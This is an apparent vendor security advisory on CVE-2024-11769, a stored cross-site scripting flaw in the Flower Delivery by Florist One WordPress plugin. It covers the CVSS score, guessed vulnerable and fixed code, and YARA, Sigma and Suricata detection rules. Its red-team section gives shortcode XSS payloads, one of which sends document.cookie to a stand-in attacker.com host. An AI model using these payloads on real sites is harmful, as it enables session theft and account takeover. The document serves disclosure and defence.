CVE-2024-11769

Executive Summary

CVE-2024-11769 is a Stored Cross-Site Scripting (XSS) vulnerability in the Flower Delivery by Florist One WordPress plugin, affecting all versions up to and including 3.9. The flaw resides in the flower-delivery shortcode, where user-supplied attributes are not properly sanitized or escaped. Authenticated attackers with contributor-level access or higher can inject arbitrary web scripts that execute when any user visits the compromised page. This vulnerability is part of the WordPress ecosystem and is not related to Apache or Nginx.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No NPM, PyPI, Go, or Ruby packages are involved. The plugin is not open-source, and no patch details are publicly available. Users should monitor the vendor's website for updates.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (contributor-level)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The threat level is medium due to the requirement for authenticated access, but the potential for widespread script injection in a WordPress context elevates the risk.

Deep Dive & Mechanics

The vulnerability exists in the flower-delivery shortcode, which is used to display flower delivery forms or content. The plugin fails to sanitize user-supplied attributes (e.g., title, class, or custom data attributes) before rendering them in the HTML output. An attacker with contributor-level access can create or edit a post/page and insert the shortcode with malicious attributes:

[flower-delivery title="<script>alert('XSS')</script>"]

When the page is rendered, the script executes in the context of the victim's browser. Since the attack is stored, any user visiting the page is affected, including administrators.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 3.9): The plugin likely uses echo or printf without escaping:

echo '<div class="flower-delivery" title="' . $atts['title'] . '">';

Patched Code (hypothetical): Proper escaping using WordPress functions:

echo '<div class="flower-delivery" title="' . esc_attr($atts['title']) . '">';

No official patch is available as of this report.

Exploitation & Lab Setup

Red Team

1. Prerequisites: WordPress site with the plugin installed, contributor-level account.
2. Craft Payload: Create a post with the shortcode:

   [flower-delivery title="<img src=x onerror=alert(document.cookie)>"]
   

3. Trigger: Visit the post as any user (including admin) to execute the script.

Advanced Payload:

[flower-delivery title="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"]

Blue Team

1. Detection: Monitor for posts containing [flower-delivery with suspicious attributes.
2. Mitigation: Disable the plugin until a patch is available.
3. Hardening: Use a Web Application Firewall (WAF) to block XSS patterns in shortcode attributes.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to attacker-controlled domains from WordPress admin pages.
• File: Modified posts/pages containing [flower-delivery with script tags or event handlers.
• Log: WordPress audit logs showing creation/editing of posts by contributor-level users with unusual shortcode attributes.

Detection Engineering

YARA Rule

rule CVE_2024_11769_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Flower Delivery by Florist One plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-11769"
    strings:
        $shortcode = /\[flower-delivery\s+[^\]]*?(?:on\w+\s*=|src\s*=|href\s*=)/i
        $script_tag = /<script[\s>]/i
        $event_handler = /\son\w+\s*=/i
    condition:
        $shortcode and ($script_tag or $event_handler)
}

Sigma Rule

title: Stored XSS via Flower Delivery Shortcode
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts using the flower-delivery shortcode
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: "flower-delivery"
        http.body|contains|all:
            - "[flower-delivery"
            - "onerror"
            - "onload"
            - "script"
    condition: selection
falsepositives:
    - Legitimate use of shortcode with safe attributes
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-11769 Stored XSS in Flower Delivery Shortcode"; flow:to_server; content:"[flower-delivery"; http_client_body; pcre:"/(on\w+\s*=|src\s*=|href\s*=)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the Flower Delivery by Florist One plugin until a patch is released.
2. Short-term: Restrict contributor-level users from using shortcodes via user role editor plugins.
3. Long-term: Apply input validation and output escaping to all shortcode attributes. Use WordPress functions like esc_attr() and wp_kses().
4. Monitor: Subscribe to vendor updates at floristone.com for patch announcements.

Valters IT
Securing Digital Ecosystems